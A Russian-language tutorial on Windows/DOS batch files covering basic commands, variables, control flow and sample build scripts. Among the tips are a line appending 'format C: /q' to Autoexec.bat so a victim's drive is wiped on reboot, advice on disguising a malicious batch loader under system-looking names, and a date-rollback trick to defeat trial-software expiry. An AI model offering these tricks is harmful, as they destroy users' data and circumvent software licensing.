Бат (batch) файлы,что же это такое?

Прежде всего - это пакетные дос файлы, которые содержат в себе в ASCII виде набор досовских команд. Проще говоря, bat файл содержит в себе скрипт, интерпритатором служит cmd.exe

Начну с простых команд :

1.)echo off - запрещение вывода на экран исполняемых команд (on - вкл.)
2.) deltree /y %файл% - удалить файл (/y означает "удалить без вопросов"). В XP работает тока del (флаг /y не нужен).
3.) copy %путь\файл% %куда\файл% - копировать файл
4.) mkdir %название_диры% - создать директорию
5.) echo %текст% - вывести текст на экран
6.) echo %текст% > %путь\файл% - создать файл и вписать в него текст
7.) echo %текст% >> %путь\файл% - добавить текст в уже существующий файл
8.) if exist %путь\файл% %команда% - если существует файл, выполнить команду
9.) attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)
10.) start %путь\файл% - запустить файл
11.) cls - отчистить экран
12.) pause - выводит сообщение "Нажмите любую кнопку..."
13.) label %новая_метка% - поставить новую метку системного диска (С,D,E….)
14.) format %диск%: /q - быстрое форматирование диска
15.) ren %путь\файл% %новое_название_файла% - переименовать файл
16.) goto %метка%
...
:%метка% - перескoчить с одного места кода на метку.

Продолжу «НЕПРОСТЫМИ»:

1.) choice /N /T:y,%сек% > nul - типа таймера (на n секунд задерживает выполнение последующих команд).

2.) %команда% > nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде "copy"). Пример: copy c:\some.exe %windir%\some.exe > nul

3.) regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов

4.) start /m /w %путь\файл% - запустить файло в свёрнутом окне.

5.) echo format C: /q >> c:\Autoexec.bat добавляет в Autoexec.bat строчку «format C: /q» и при перезагрузке компа идёт быстрое форматирование диска из серии «Ты даже не заметишь» =) Это все потому что Autoexec.bat грузиться вместе с виндой,кстате winstart.bat тоже,но его нужно создавать отдельно!

6.) Кложим в каталог windows\command файл "load.bat" (наверное с плохим содержанием) .Его можно будет запустить такой строчкой: "load keybrd32.sys,,cyr\lat" или такой: "load VideoAdapter32.drv -- By windows setup --". Врятли такие строчки рискнёт кто-нибудь удалять и твой файл без проблем загрузится..=)

7.) if exist c:\Progra~1 set drv=c:
if exist d:\Progra~1 set drv=d:
if exist d:\Progra~1 set drv=e:
После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files'ами.

8.) в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe

9.) batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять "~1", к примеру "Program Files -> Progra~1"). Пробелы он просто убирает (The Bat -> TheBat~1).
Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).

10.) echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
Этот скрипт выводит на экран _Виндовое_ окошко (по средствам Java Script) с твоим сообщением и кнопкой ОК

И вот чем закончу->
Переменные ,операторы,циклы и кое что ещё :

1.) @<команда>
Оператор @ позволяет не выводить следующую за ним команду на экран. Это аналог оператора ECHO OFF только для одной строки.

2.) %<цифра 0-9>
В языке BATCH-файлов возможно использование переменных. Всего может быть до 10 одновременно существующих независимых переменных.
Значение переменной равно значению соответствующего параметра из командной строки. Переменная %0 будет содержать имя .bat-файла и, если вы указали, путь к нему. То есть, если у нас есть командная строка abc.bat a bc def то переменная %1 будет содержать значение a, %2 будет содержать bc, а %3 - def. Например, можно записать в файле ABC.BAT: ABC.BAT %2 %1
Это вызовет прекращение выполнения данного файла и передаст управление ему же, но с параметрами, записанными в обратном порядке.

3.) SHIFT
Команда SHIFT позволяет использовать число параметров командной строки более 10. При этом происходит циклический сдвиг влево и теряются более ранние параметры.
Операция необратима.

4.) CALL <имя bat-файла>
Команда CALL позволяет вызвать один пакетный файл из другого, не прекращая выполнения предыдущего. Пример:
@ECHO OFF
ECHO Этот текст выводится
CALL TEST.BAT
ECHO Этот текст тоже выводится
TEST.BAT
ECHO А этот уже не выводится.

При выполнении TEST.BAT обработка текущего пакетного файла была прекращена и управление было передано TEST.BAT.

5.) IF <условие> <следствие>
Оператор IF проверяет истинность какого-либо <условия> и в зависимости от этого выполняет или не выполняет команду <следствие>.
Пример:
IF EXIST TEST.BAT GOTO lab1
если существует файл TEST.BAT, то перейти на метку lab1.
IF NOT EXIST TEST.BAT GOTO exit
если файл TEST.BAT не существует, то следует перейти на метку exit.
IF %1==ASDF GOTO asdflabel
если переменная %1 равна ASDF, то осуществляется переход на метку asdflabel.
IF ERRORLEVEL 1 GOTO err1
если ошибка (код возврата) выполнения предыдущей команды равно 1, то перейти на
метку err1.

6.) PAUSE
Команда PAUSE приостанавливает выполнение пакетного файла и выдает на экран приглашение нажать на любую клавишу для продолжения работы.

7.) FOR %<параметр> IN (<VAR1 [VAR2] [VAR3] ...>) DO <команда>
С помощью оператора FOR возможно выполнение одной и той же команды несколько раз для различных параметров.

8.) SET <Имя_переменной>=<Значение_переменной>
Оператор SET представляет собой расширение возможностей работы с параметрами в операционной системе. Он задает переменную, значение которой подставляется вместо ее имени при любом использовании этого имени между знаками процента. Наиболее известной является переменная PATH, представляющая собой набор путей для быстрого поиска файлов.

9.) Вот несколько примеров BAT-файла, который выполняет компиляцию проекта на ассемблере.
Компиляция проекта без ресурсов

@echo off
set file=dostoansi
C:\MASM32\BIN\Ml.exe /c /coff %file%.asm
C:\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS %file%.obj /RELEASE
pause

Компиляция проекта с ресурсами

@echo off
set file=name_project
if not exist rsrc.rc goto over1
C:\MASM32\BIN\Rc.exe /v rsrc.rc
C:\MASM32\BIN\Cvtres.exe /machine:ix86 rsrc.res
:over1
\masm32\bin\ml /c /coff /Cp %file%.asm
if errorlevel 1 goto asm_error
C:\MASM32\BIN\Link.exe %file%.obj rsrc.res /SUBSYSTEM:WINDOWS
if errorlevel 1 goto link_error
if exist *.obj del %file%.obj
:asm_error
echo AM
goto clear
:link_error
echo LINKER ERROR
:clear
if exist %file%.obj del %file%.obj
pause
:end

10.) Пример автоматизированного удаления файлов по типу
del /f /s /q C: *.tmp

11.) Пример ожидания появления файла (например при копировании большого объёма информации)
:test
if exist c:\1.avi goto go
sleep 10
goto test
:go
rename c:\1.avi 1.avi
if not errorlevel 0 goto go

12.) Пример изменения текущей даты и восстановления её после запуска приложения. (Может быть полезно, если приложение trial и срок демонстрациии закончился)
set tempdate=%date:~-10%
date 01-01-01
start trial.exe
date %tempdate%

13.) Пример экспорта ветки реестра при помощи BATCH-файла
regedit.exe -ea C:\environment.reg "HKEY_CURRENT_USER\Environment"

14.) Пример переименования файлов по маске
for /f "tokens=*" %%a in ('dir /b PATH\*.*') do ren PATH\%%a Prefix%%a
Здесь заменяем PATH\ на путь к файлам, которые будут переименованы, а Prefix на те символы, которые будут добавлены к имени файла при переименовании. Если в папке, где происходит переименование файлов есть подпапки, то подпапки будут переименованы как и файлы. Если указать определенную маску для типов файлов, которые подлежат переименованию, например, *.txt, а не *.*, то будут переименованы файлы только указанных типов.

THE END